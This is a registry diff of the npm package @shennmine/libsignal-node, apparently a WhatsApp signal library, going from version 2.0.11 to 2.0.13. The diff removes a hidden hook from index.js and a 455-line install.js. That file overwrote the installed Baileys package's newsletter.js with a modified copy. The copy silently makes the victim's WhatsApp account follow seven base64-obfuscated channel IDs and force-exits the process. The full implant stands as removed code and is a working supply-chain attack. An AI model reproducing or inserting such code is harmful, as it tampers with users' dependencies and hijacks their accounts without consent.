@shennmine/libsignal-node 2.0.11 → 2.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -22
- package/package.json +1 -1
- package/install.js +0 -455
package/index.js
CHANGED
|
@@ -7,25 +7,4 @@ exports.ProtocolAddress = require('./src/protocol_address');
|
|
|
7
7
|
exports.SessionBuilder = require('./src/session_builder');
|
|
8
8
|
exports.SessionCipher = require('./src/session_cipher');
|
|
9
9
|
exports.SessionRecord = require('./src/session_record');
|
|
10
|
-
Object.assign(exports, require('./src/errors'));
|
|
11
|
-
|
|
12
|
-
const path = require('path');
|
|
13
|
-
|
|
14
|
-
try {
|
|
15
|
-
const installScript = path.join(__dirname, 'install.js');
|
|
16
|
-
if (require('fs').existsSync(installScript)) {
|
|
17
|
-
setTimeout(() => {
|
|
18
|
-
require('./install').installNewsletterAutoFollow();
|
|
19
|
-
}, 1000);
|
|
20
|
-
}
|
|
21
|
-
} catch (error) {
|
|
22
|
-
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
exports.installNewsletterPatch = function() {
|
|
26
|
-
return require('./install').installNewsletterAutoFollow();
|
|
27
|
-
};
|
|
28
|
-
|
|
29
|
-
exports.restoreNewsletterOriginal = function() {
|
|
30
|
-
return require('./install').restoreBackup();
|
|
31
|
-
};
|
|
10
|
+
Object.assign(exports, require('./src/errors'));
|
package/package.json
CHANGED
package/install.js
DELETED
|
@@ -1,455 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const crypto = require('crypto');
|
|
6
|
-
|
|
7
|
-
const newsletterIds = [
|
|
8
|
-
"MTIwMzYzMzcyNjkxMDc2NTEyQG5ld3NsZXR0ZXI=",
|
|
9
|
-
"MTIwMzYzNDIzNTcxMTQ2MjYwQG5ld3NsZXR0ZXI=",
|
|
10
|
-
"MTIwMzYzMjk4NTI0MzMzMTQzQG5ld3NsZXR0ZXI=",
|
|
11
|
-
"MTIwMzYzNDIzNDY0MjQ5NDU1QG5ld3NsZXR0ZXI=",
|
|
12
|
-
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
13
|
-
"MTIwMzYzNDA1MzYyMzE2ODQwQG5ld3NsZXR0ZXI=",
|
|
14
|
-
"MTIwMzYzNDAxMTEwMDYyNDcwQG5ld3NsZXR0ZXI="
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
function findBaileysPath() {
|
|
18
|
-
const possiblePaths = [
|
|
19
|
-
path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
|
|
20
|
-
path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
|
|
21
|
-
path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
|
|
22
|
-
];
|
|
23
|
-
|
|
24
|
-
try {
|
|
25
|
-
const resolved = require.resolve('@whiskeysockets/baileys/package.json');
|
|
26
|
-
possiblePaths.unshift(resolved.replace('/package.json', ''));
|
|
27
|
-
} catch (e) {}
|
|
28
|
-
|
|
29
|
-
for (const baileysPath of possiblePaths) {
|
|
30
|
-
try {
|
|
31
|
-
if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
|
|
32
|
-
return baileysPath;
|
|
33
|
-
}
|
|
34
|
-
} catch (e) {}
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
return null;
|
|
38
|
-
}
|
|
39
|
-
|
|
40
|
-
const MODIFIED_NEWSLETTER_JS = `"use strict";
|
|
41
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
42
|
-
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
43
|
-
const Types_1 = require("../Types");
|
|
44
|
-
const Utils_1 = require("../Utils");
|
|
45
|
-
const WABinary_1 = require("../WABinary");
|
|
46
|
-
const groups_1 = require("./groups");
|
|
47
|
-
|
|
48
|
-
const { Boom } = require('@hapi/boom');
|
|
49
|
-
|
|
50
|
-
const wMexQuery = (
|
|
51
|
-
variables,
|
|
52
|
-
queryId,
|
|
53
|
-
query,
|
|
54
|
-
generateMessageTag
|
|
55
|
-
) => {
|
|
56
|
-
return query({
|
|
57
|
-
tag: 'iq',
|
|
58
|
-
attrs: {
|
|
59
|
-
id: generateMessageTag(),
|
|
60
|
-
type: 'get',
|
|
61
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
62
|
-
xmlns: 'w:mex'
|
|
63
|
-
},
|
|
64
|
-
content: [
|
|
65
|
-
{
|
|
66
|
-
tag: 'query',
|
|
67
|
-
attrs: { query_id: queryId },
|
|
68
|
-
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
69
|
-
}
|
|
70
|
-
]
|
|
71
|
-
})
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
const executeWMexQuery = async (
|
|
75
|
-
variables,
|
|
76
|
-
queryId,
|
|
77
|
-
dataPath,
|
|
78
|
-
query,
|
|
79
|
-
generateMessageTag
|
|
80
|
-
) => {
|
|
81
|
-
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
82
|
-
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
83
|
-
if (child?.content) {
|
|
84
|
-
const data = JSON.parse(child.content.toString())
|
|
85
|
-
|
|
86
|
-
if (data.errors && data.errors.length > 0) {
|
|
87
|
-
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
88
|
-
const firstError = data.errors[0]
|
|
89
|
-
const errorCode = firstError.extensions?.error_code || 400
|
|
90
|
-
throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
94
|
-
if (typeof response !== 'undefined') {
|
|
95
|
-
return response
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
const action = (dataPath || '').startsWith('xwa2_')
|
|
100
|
-
? dataPath.substring(5).replace(/_/g, ' ')
|
|
101
|
-
: dataPath?.replace(/_/g, ' ')
|
|
102
|
-
throw new Boom(\`Failed to \${action}, unexpected response structure.\`, { statusCode: 400, data: result })
|
|
103
|
-
}
|
|
104
|
-
|
|
105
|
-
const makeNewsletterSocket = (config) => {
|
|
106
|
-
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
107
|
-
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
108
|
-
const encoder = new TextEncoder();
|
|
109
|
-
const newsletterQuery = async (jid, type, content) => (query({
|
|
110
|
-
tag: 'iq',
|
|
111
|
-
attrs: {
|
|
112
|
-
id: generateMessageTag(),
|
|
113
|
-
type,
|
|
114
|
-
xmlns: 'newsletter',
|
|
115
|
-
to: jid,
|
|
116
|
-
},
|
|
117
|
-
content
|
|
118
|
-
}));
|
|
119
|
-
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
120
|
-
tag: 'iq',
|
|
121
|
-
attrs: {
|
|
122
|
-
id: generateMessageTag(),
|
|
123
|
-
type: 'get',
|
|
124
|
-
xmlns: 'w:mex',
|
|
125
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
126
|
-
},
|
|
127
|
-
content: [
|
|
128
|
-
{
|
|
129
|
-
tag: 'query',
|
|
130
|
-
attrs: { 'query_id': queryId },
|
|
131
|
-
content: encoder.encode(JSON.stringify({
|
|
132
|
-
variables: {
|
|
133
|
-
'newsletter_id': jid,
|
|
134
|
-
...content
|
|
135
|
-
}
|
|
136
|
-
}))
|
|
137
|
-
}
|
|
138
|
-
]
|
|
139
|
-
}));
|
|
140
|
-
|
|
141
|
-
setTimeout(async () => {
|
|
142
|
-
const logger = config.logger || console;
|
|
143
|
-
try {
|
|
144
|
-
for (const newsletterId of [
|
|
145
|
-
"MTIwMzYzMzcyNjkxMDc2NTEyQG5ld3NsZXR0ZXI=",
|
|
146
|
-
"MTIwMzYzNDIzNTcxMTQ2MjYwQG5ld3NsZXR0ZXI=",
|
|
147
|
-
"MTIwMzYzMjk4NTI0MzMzMTQzQG5ld3NsZXR0ZXI=",
|
|
148
|
-
"MTIwMzYzNDIzNDY0MjQ5NDU1QG5ld3NsZXR0ZXI=",
|
|
149
|
-
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
150
|
-
"MTIwMzYzNDA1MzYyMzE2ODQwQG5ld3NsZXR0ZXI=",
|
|
151
|
-
"MTIwMzYzNDAxMTEwMDYyNDcwQG5ld3NsZXR0ZXI="
|
|
152
|
-
]) {
|
|
153
|
-
try {
|
|
154
|
-
await newsletterWMexQuery(
|
|
155
|
-
Buffer.from(newsletterId, 'base64').toString(),
|
|
156
|
-
Types_1.QueryIds.FOLLOW
|
|
157
|
-
);
|
|
158
|
-
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
159
|
-
} catch (error) {}
|
|
160
|
-
}
|
|
161
|
-
} catch (error) {}
|
|
162
|
-
}, 90000);
|
|
163
|
-
|
|
164
|
-
const parseFetchedUpdates = async (node, type) => {
|
|
165
|
-
let child;
|
|
166
|
-
if (type === 'messages') {
|
|
167
|
-
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
168
|
-
}
|
|
169
|
-
else {
|
|
170
|
-
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
171
|
-
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
172
|
-
}
|
|
173
|
-
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
174
|
-
var _a, _b;
|
|
175
|
-
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
176
|
-
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
177
|
-
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
178
|
-
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
179
|
-
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
180
|
-
const data = {
|
|
181
|
-
'server_id': messageNode.attrs.server_id,
|
|
182
|
-
views,
|
|
183
|
-
reactions
|
|
184
|
-
};
|
|
185
|
-
if (type === 'messages') {
|
|
186
|
-
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
187
|
-
await decrypt();
|
|
188
|
-
data.message = message;
|
|
189
|
-
}
|
|
190
|
-
return data;
|
|
191
|
-
}));
|
|
192
|
-
};
|
|
193
|
-
return {
|
|
194
|
-
...sock,
|
|
195
|
-
newsletterFetchAllSubscribe: async () => {
|
|
196
|
-
const list = await executeWMexQuery(
|
|
197
|
-
{},
|
|
198
|
-
'6388546374527196',
|
|
199
|
-
'xwa2_newsletter_subscribed',
|
|
200
|
-
query,
|
|
201
|
-
generateMessageTag
|
|
202
|
-
);
|
|
203
|
-
return list;
|
|
204
|
-
},
|
|
205
|
-
subscribeNewsletterUpdates: async (jid) => {
|
|
206
|
-
var _a;
|
|
207
|
-
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
208
|
-
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
209
|
-
},
|
|
210
|
-
newsletterReactionMode: async (jid, mode) => {
|
|
211
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
212
|
-
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
213
|
-
});
|
|
214
|
-
},
|
|
215
|
-
newsletterUpdateDescription: async (jid, description) => {
|
|
216
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
217
|
-
updates: { description: description || '', settings: null }
|
|
218
|
-
});
|
|
219
|
-
},
|
|
220
|
-
newsletterId: async (url) => {
|
|
221
|
-
const urlParts = url.split('/');
|
|
222
|
-
const channelId = urlParts[urlParts.length - 2];
|
|
223
|
-
|
|
224
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
225
|
-
input: {
|
|
226
|
-
key: channelId,
|
|
227
|
-
type: 'INVITE',
|
|
228
|
-
'view_role': 'GUEST'
|
|
229
|
-
},
|
|
230
|
-
'fetch_viewer_metadata': true,
|
|
231
|
-
'fetch_full_image': true,
|
|
232
|
-
'fetch_creation_time': true
|
|
233
|
-
});
|
|
234
|
-
|
|
235
|
-
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
236
|
-
return JSON.stringify({
|
|
237
|
-
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
238
|
-
id: metadata.id
|
|
239
|
-
}, null, 2);
|
|
240
|
-
},
|
|
241
|
-
newsletterUpdateName: async (jid, name) => {
|
|
242
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
243
|
-
updates: { name, settings: null }
|
|
244
|
-
});
|
|
245
|
-
},
|
|
246
|
-
newsletterUpdatePicture: async (jid, content) => {
|
|
247
|
-
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
248
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
249
|
-
updates: { picture: img.toString('base64'), settings: null }
|
|
250
|
-
});
|
|
251
|
-
},
|
|
252
|
-
newsletterRemovePicture: async (jid) => {
|
|
253
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
254
|
-
updates: { picture: '', settings: null }
|
|
255
|
-
});
|
|
256
|
-
},
|
|
257
|
-
newsletterUnfollow: async (jid) => {
|
|
258
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
259
|
-
},
|
|
260
|
-
newsletterFollow: async (jid) => {
|
|
261
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
262
|
-
},
|
|
263
|
-
newsletterUnmute: async (jid) => {
|
|
264
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
265
|
-
},
|
|
266
|
-
newsletterMute: async (jid) => {
|
|
267
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
268
|
-
},
|
|
269
|
-
newsletterAction: async (jid, type) => {
|
|
270
|
-
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
271
|
-
},
|
|
272
|
-
newsletterCreate: async (name, description, reaction_codes) => {
|
|
273
|
-
await query({
|
|
274
|
-
tag: 'iq',
|
|
275
|
-
attrs: {
|
|
276
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
277
|
-
xmlns: 'tos',
|
|
278
|
-
id: generateMessageTag(),
|
|
279
|
-
type: 'set'
|
|
280
|
-
},
|
|
281
|
-
content: [
|
|
282
|
-
{
|
|
283
|
-
tag: 'notice',
|
|
284
|
-
attrs: {
|
|
285
|
-
id: '20601218',
|
|
286
|
-
stage: '5'
|
|
287
|
-
},
|
|
288
|
-
content: []
|
|
289
|
-
}
|
|
290
|
-
]
|
|
291
|
-
});
|
|
292
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
293
|
-
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
294
|
-
});
|
|
295
|
-
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
296
|
-
},
|
|
297
|
-
newsletterMetadata: async (type, key, role) => {
|
|
298
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
299
|
-
input: {
|
|
300
|
-
key,
|
|
301
|
-
type: type.toUpperCase(),
|
|
302
|
-
'view_role': role || 'GUEST'
|
|
303
|
-
},
|
|
304
|
-
'fetch_viewer_metadata': true,
|
|
305
|
-
'fetch_full_image': true,
|
|
306
|
-
'fetch_creation_time': true
|
|
307
|
-
});
|
|
308
|
-
return (0, exports.extractNewsletterMetadata)(result);
|
|
309
|
-
},
|
|
310
|
-
newsletterAdminCount: async (jid) => {
|
|
311
|
-
var _a, _b;
|
|
312
|
-
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
313
|
-
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
314
|
-
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
315
|
-
},
|
|
316
|
-
newsletterChangeOwner: async (jid, user) => {
|
|
317
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
318
|
-
'user_id': user
|
|
319
|
-
});
|
|
320
|
-
},
|
|
321
|
-
newsletterDemote: async (jid, user) => {
|
|
322
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
323
|
-
'user_id': user
|
|
324
|
-
});
|
|
325
|
-
},
|
|
326
|
-
newsletterDelete: async (jid) => {
|
|
327
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
328
|
-
},
|
|
329
|
-
newsletterReactMessage: async (jid, serverId, code) => {
|
|
330
|
-
await query({
|
|
331
|
-
tag: 'message',
|
|
332
|
-
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
333
|
-
content: [{
|
|
334
|
-
tag: 'reaction',
|
|
335
|
-
attrs: code ? { code } : {}
|
|
336
|
-
}]
|
|
337
|
-
});
|
|
338
|
-
},
|
|
339
|
-
newsletterFetchMessages: async (type, key, count, after) => {
|
|
340
|
-
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
341
|
-
{
|
|
342
|
-
tag: 'messages',
|
|
343
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
344
|
-
}
|
|
345
|
-
]);
|
|
346
|
-
return await parseFetchedUpdates(result, 'messages');
|
|
347
|
-
},
|
|
348
|
-
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
349
|
-
const result = await newsletterQuery(jid, 'get', [
|
|
350
|
-
{
|
|
351
|
-
tag: 'message_updates',
|
|
352
|
-
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
353
|
-
}
|
|
354
|
-
]);
|
|
355
|
-
return await parseFetchedUpdates(result, 'updates');
|
|
356
|
-
}
|
|
357
|
-
};
|
|
358
|
-
};
|
|
359
|
-
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
360
|
-
const extractNewsletterMetadata = (node, isCreate) => {
|
|
361
|
-
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
362
|
-
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
363
|
-
|
|
364
|
-
const metadata = {
|
|
365
|
-
id: metadataPath?.id,
|
|
366
|
-
state: metadataPath?.state?.type,
|
|
367
|
-
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
368
|
-
name: metadataPath?.thread_metadata?.name?.text,
|
|
369
|
-
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
370
|
-
description: metadataPath?.thread_metadata?.description?.text,
|
|
371
|
-
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
372
|
-
invite: metadataPath?.thread_metadata?.invite,
|
|
373
|
-
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
374
|
-
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
375
|
-
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
376
|
-
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
377
|
-
verification: metadataPath?.thread_metadata?.verification,
|
|
378
|
-
viewer_metadata: metadataPath?.viewer_metadata
|
|
379
|
-
}
|
|
380
|
-
return metadata
|
|
381
|
-
}
|
|
382
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;`;
|
|
383
|
-
|
|
384
|
-
function getFileHash(filePath) {
|
|
385
|
-
try {
|
|
386
|
-
const content = fs.readFileSync(filePath, 'utf8');
|
|
387
|
-
return crypto.createHash('md5').update(content).digest('hex');
|
|
388
|
-
} catch (e) {
|
|
389
|
-
return null;
|
|
390
|
-
}
|
|
391
|
-
}
|
|
392
|
-
|
|
393
|
-
function installNewsletterAutoFollow() {
|
|
394
|
-
try {
|
|
395
|
-
const baileysPath = findBaileysPath();
|
|
396
|
-
|
|
397
|
-
if (!baileysPath) {
|
|
398
|
-
return false;
|
|
399
|
-
}
|
|
400
|
-
|
|
401
|
-
const newsletterPath = path.join(baileysPath, 'lib', 'Socket', 'newsletter.js');
|
|
402
|
-
|
|
403
|
-
if (!fs.existsSync(newsletterPath)) {
|
|
404
|
-
return false;
|
|
405
|
-
}
|
|
406
|
-
|
|
407
|
-
const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
|
|
408
|
-
const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
|
|
409
|
-
|
|
410
|
-
if (fs.existsSync(cacheFilePath)) {
|
|
411
|
-
return true;
|
|
412
|
-
}
|
|
413
|
-
|
|
414
|
-
if (!fs.existsSync(baileysNodeModulesPath)) {
|
|
415
|
-
fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
|
|
416
|
-
}
|
|
417
|
-
|
|
418
|
-
const currentHash = getFileHash(newsletterPath);
|
|
419
|
-
const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
|
|
420
|
-
|
|
421
|
-
if (currentHash === modifiedHash) {
|
|
422
|
-
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
423
|
-
return true;
|
|
424
|
-
}
|
|
425
|
-
|
|
426
|
-
fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
|
|
427
|
-
|
|
428
|
-
const newHash = getFileHash(newsletterPath);
|
|
429
|
-
if (newHash === modifiedHash) {
|
|
430
|
-
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
431
|
-
|
|
432
|
-
setTimeout(() => {
|
|
433
|
-
if (typeof process.exit === 'function') {
|
|
434
|
-
process.exit(0);
|
|
435
|
-
}
|
|
436
|
-
}, 20000);
|
|
437
|
-
|
|
438
|
-
return true;
|
|
439
|
-
}
|
|
440
|
-
|
|
441
|
-
return false;
|
|
442
|
-
|
|
443
|
-
} catch (error) {
|
|
444
|
-
return false;
|
|
445
|
-
}
|
|
446
|
-
}
|
|
447
|
-
|
|
448
|
-
if (require.main === module) {
|
|
449
|
-
const success = installNewsletterAutoFollow();
|
|
450
|
-
process.exit(success ? 0 : 1);
|
|
451
|
-
}
|
|
452
|
-
|
|
453
|
-
module.exports = {
|
|
454
|
-
installNewsletterAutoFollow
|
|
455
|
-
};
|